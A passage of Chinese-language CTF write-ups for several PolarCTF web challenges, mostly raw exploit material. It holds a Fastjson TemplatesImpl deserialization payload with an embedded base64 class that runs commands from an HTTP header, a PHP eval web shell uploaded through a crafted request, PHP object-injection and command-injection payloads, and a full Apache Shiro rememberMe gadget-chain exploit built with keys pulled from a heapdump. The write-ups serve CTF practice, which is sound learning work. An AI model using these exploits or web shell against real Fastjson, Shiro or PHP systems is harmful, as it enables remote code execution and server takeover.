            byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf\\workspace\\javaprj\\ysoserial\\target\\classes\\ysoserial\\fastjson\\Shell2.class"));
            shell = Base64.getEncoder().encodeToString(bytes);
        }catch (IOException e){
            e.printStackTrace();
        }
        String payload ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""
            +shell
            +"\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{},\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        System.out.println(payload);
    }
}

or python

import base64

fin = open(r"Shell.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all"}'% fout

print(poc)

POST:

POST / HTTP/1.1
Host: 2f8125e1-5fcf-43f7-830d-e74d6af28477.www.polarctf.com:8090
Content-Length: 4062
Pragma: no-cache
Cache-Control: no-cache
Origin: http://2f8125e1-5fcf-43f7-830d-e74d6af28477.www.polarctf.com:8090
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2f8125e1-5fcf-43f7-830d-e74d6af28477.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
C: cat fastFLAG.txt
Connection: keep-alive

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAhwoAHQBDCgBEAEUHAEYKAAMARwoAAwBIBwBJCABKCABLCABMCwBNAE4HAE8HAFAKAAwAUQoADABSCgBTAFQKAAsAVQgAVgoACwBXCgALAFgKAAYAWQsAWgBbCgAGAFwKAF0AXgoAXQBfCgBdAGAHAGEKABoAYgcAYwcAZAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBABFyZXF1ZXN0QXR0cmlidXRlcwEAO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQALaHR0cHJlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAxodHRwcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAltCAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBABtMeXNvc2VyaWFsL2Zhc3Rqc29uL1NoZWxsMjsBAA1TdGFja01hcFRhYmxlBwBjBwBhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAGUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAtTaGVsbDIuamF2YQwAHgAfBwBmDABnAGgBAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzDABpAGoMAGsAbAEAEGphdmEvbGFuZy9TdHJpbmcBAAJzaAEAAi1jAQABQwcAbQwAbgBvAQARamF2YS91dGlsL1NjYW5uZXIBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIMAB4AcAwAcQByBwBzDAB0AHUMAB4AdgEAAlxBDAB3AHgMAHkAegwAewB8BwB9DAB+AH8MAB4AgAcAgQwAggCDDACEAB8MAIUAHwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAIYAHwEAGXlzb3NlcmlhbC9mYXN0anNvbi9TaGVsbDIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhnZXRCeXRlcwEABCgpW0IBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3NlAQAPcHJpbnRTdGFja1RyYWNlACEAHAAdAAAAAAADAAEAHgAfAAEAIAAAATcABQAGAAAAgyq3AAG4AAJMK8AAA7YABE0rwAADtgAFTga9AAZZAxIHU1kEEghTWQUsEgm5AAoCAFM6BLsAC1m7AAxZGQS3AA22AA62AA+3ABASEbYAErYAE7YAFDoFLbkAFQEAuwAGWRkFtwAWtgAXLbkAFQEAtgAYLbkAFQEAtgAZpwAITCu2ABuxAAEABAB6AH0AGgADACEAAAA2AA0AAAALAAQADQAIAA4AEAAPABgAEAAzABEAVgASAGgAEwBxABQAegAXAH0AFQB+ABYAggAYACIAAABIAAcACAByACMAJAABABAAagAlACYAAgAYAGIAJwAoAAMAMwBHACkAKgAEAFYAJAArACwABQB+AAQALQAuAAEAAACDAC8AMAAAADEAAAAQAAL/AH0AAQcAMgABBwAzBAABADQANQACACAAAAA/AAAAAwAAAAGxAAAAAgAhAAAABgABAAAAHQAiAAAAIAADAAAAAQAvADAAAAAAAAEANgA3AAEAAAABADgAOQACADoAAAAEAAEAOwABADQAPAACACAAAABJAAAABAAAAAGxAAAAAgAhAAAABgABAAAAIgAiAAAAKgAEAAAAAQAvADAAAAAAAAEANgA3AAEAAAABAD0APgACAAAAAQA/AEAAAwA6AAAABAABADsAAQBBAAAAAgBC"],"_name":"a.b","_tfactory":{},"_outputProperties":{},"_version":"1.0","allowedProtocols":"all","l00duo08q4a":"="}

file

300 分 3 Polar币

【2024春季个人挑战赛】

dirsearch -u url

upload.php

uploaded

burpsuit 传送木马,文件名更改 png->php

哥斯拉 命令进入,2个假flag,真的在/flag

uploader

100 分 1 Polar币

【2024春季个人挑战赛】

无上传界面

制作界面:

<DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <title>Post DATA POC</title>
</head>
<body>
    <form action="http://92214446-57a1-4224-93e2-ea1c7a5a57ce.www.polarctf.com:8090/" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"> <br><br>
        <input type="submit"  value="提交">
    </form>
</body>
</html>

POST / HTTP/1.1
Host: 92214446-57a1-4224-93e2-ea1c7a5a57ce.www.polarctf.com:8090
Content-Length: 231
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryroQOOub0x149mpDK
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

------WebKitFormBoundaryroQOOub0x149mpDK
Content-Disposition: form-data; name="file"; filename="phppass.php"
Content-Type: application/octet-stream

<?php
eval($_POST["pass"]);
?>
------WebKitFormBoundaryroQOOub0x149mpDK--

运行上传木马:

/331d4abb3f3a802c4989ed7737c537ba/phppass.php

pass=system(“cat /flag”);

PlayGame

300 分 3 Polar币

【2024春季个人挑战赛】

https://www.bejson.com/runcode/php/

<?php
class User{
    public name;
    publicage;
    public sex;
}
class PlayGame{
    publicuser;
    public gameFile="/flag";
}playgame = new PlayGame();
user = new User();user->name = playgame;playgame->user = user;playgame->gameFile = "/flag";

// 生成序列化payload
a = new PlayGame();a->user = new User();
a->user->name = new PlayGame();a->user->name->gameFile='/flag';
payload=serialize(a);

// URL编码并输出payload
echo "URL编码后的Payload:\n";
echo urlencode(payload) . "\n\n";

// 原始payload(含不可见字符,复制时需注意)
echo "原始Payload:\n";
echopayload;
?>

output:

URL编码后的Payload:
O%3A8%3A%22PlayGame%22%3A2%3A%7Bs%3A4%3A%22user%22%3BO%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3BO%3A8%3A%22PlayGame%22%3A2%3A%7Bs%3A4%3A%22user%22%3BN%3Bs%3A8%3A%22gameFile%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A3%3A%22age%22%3BN%3Bs%3A3%3A%22sex%22%3BN%3B%7Ds%3A8%3A%22gameFile%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D

原始Payload:
O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag";}

/?polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag";}

覆盖

100 分 1 Polar币

【2024春季个人挑战赛】

注:与“干正则” 几乎一样?

?id=a[]%3Dwww.polarctf.com&cmd=;ls
?id=a[]%3Dwww.polarctf.com&cmd=;ls;cat fla*|base64;

PHP反序列化初试

100 分 1 Polar币

【2024春季个人挑战赛】

生成payload:

https://www.bejson.com/runcode/php/

<?php
class Easy{
    public name;
    public function __wakeup()
    {
        echothis->name;
    }
}
class Evil{
    public evil;
    privateenv;
}
evil = new Evil();easy = new Easy();
evil->evil ="ls;cat f1@g.php";easy->name = evil;

// 生成序列化payloadpayload=serialize(easy);

// URL编码并输出payload
echo "URL编码后的Payload:\n";
echo urlencode(payload) . "\n\n";

// 原始payload(含不可见字符,复制时需注意)
echo "原始Payload:\n";
echo $payload;
?>

output:

URL编码后的Payload:
O%3A4%3A%22Easy%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22evil%22%3Bs%3A15%3A%22ls%3Bcat+f1%40g.php%22%3Bs%3A9%3A%22%00Evil%00env%22%3BN%3B%7D%7D

原始Payload:
O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:15:"ls;cat f1@g.php";s:9:"Evilenv";N;}}

payload要用url编码的,原始的可能不全。

ls

f1@g.php index.php

机器人

100 分 1 Polar币

【2024春季个人挑战赛】

前半flag:

/robots.txt

dirsearch -u url/27f5e15b6af3223f1176293cd015771d

后半flag:

/27f5e15b6af3223f1176293cd015771d/flag.php

csdn

300 分 3 Polar币

【2024春季个人挑战赛】

?xxs=file://flag/flag.txt

PolarOA2.0

500 分 5 Polar币

【2024夏季个人挑战赛】

Apache Shiro框架的记住密码功能,用户登录后生成加密编码的cookie。服务端对记住密码产生的cookie进行base64解密,再进行AES解密,之后进行反序列化,导致了反序列化漏洞。

客户端:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

服务端:RememberMe Cookie值=>base64解密=>AES解密=>反序列化

admin admin123 弱口令进入。

spring端点泄露

url/actuator/env

下载heapdump

/actuator/heapdump

#如下不行:

D:\download>jhat -J-Xmx1024m heapdump

#如下:

D:\download>java -jar /ctf/tools/JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = XH5qnjgwn8+PZl23ik8RBA==, algName = AES
algMode = GCM, key = rhf8YuMBvSg9scwJ9uT3NQ==, algName = AES

https://github.com/SummerSec/ShiroAttack2

GenPayLoad:

       <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.8.0</version>
        </dependency>

package ysoserial.polaroa2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;

public class FinalPoc2 {
    public static void main(String[] args) throws Exception {
        final TemplatesImpl templates = getTemplate();
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        // 生成序列化字符串
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(queue);
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode(CodecSupport.toBytes("XH5qnjgwn8+PZl23ik8RBA=="));//更改此粗shiro默认密钥
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(aes.encrypt(bytes, key));
    }

    public static CtClass genPayloadForLinux2() throws NotFoundException, CannotCompileException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("A");
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        clazz.addConstructor(CtNewConstructor.make("public spring() throws Exception {\n" +
            "                org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
            "                javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
            "                javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
            "                String[] cmd =  new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
            "                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
            "                httpresponse.getWriter().write(new String(result));\n" +
            "                httpresponse.getWriter().flush();\n" +
            "                httpresponse.getWriter().close();\n" +
            "        }", clazz));
        // 兼容低版本jdk
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz;
    }

    public static TemplatesImpl getTemplate() throws Exception {
        CtClass clz = genPayloadForLinux2();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clz.toBytecode()});
        setFieldValue(obj, "_name", "a");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Run :

header中加:

C: cat /flag
Cookie: rememberMe=<PARYLOADHERE>

payload 不要URL转码!!

GET / HTTP/1.1
Host: 0e057842-fff3-4b88-a1b3-17ccfb400ff5.www.polarctf.com:8090
Content-Length: 2
Pragma: no-cache
Cache-Control: no-cache
Origin: http://0e057842-fff3-4b88-a1b3-17ccfb400ff5.www.polarctf.com:8090
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://0e057842-fff3-4b88-a1b3-17ccfb400ff5.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
C: cat /flag
Cookie: rememberMe=wbEMt2WEhCWCKrXFccheLvDaGPhxzCDCbY7UYl+asN/W4KA9XnHdnIP5Bzjf+LrWFPu91WwSMgLsaXKgmO+gR2mI=
Connection: keep-alive


发表评论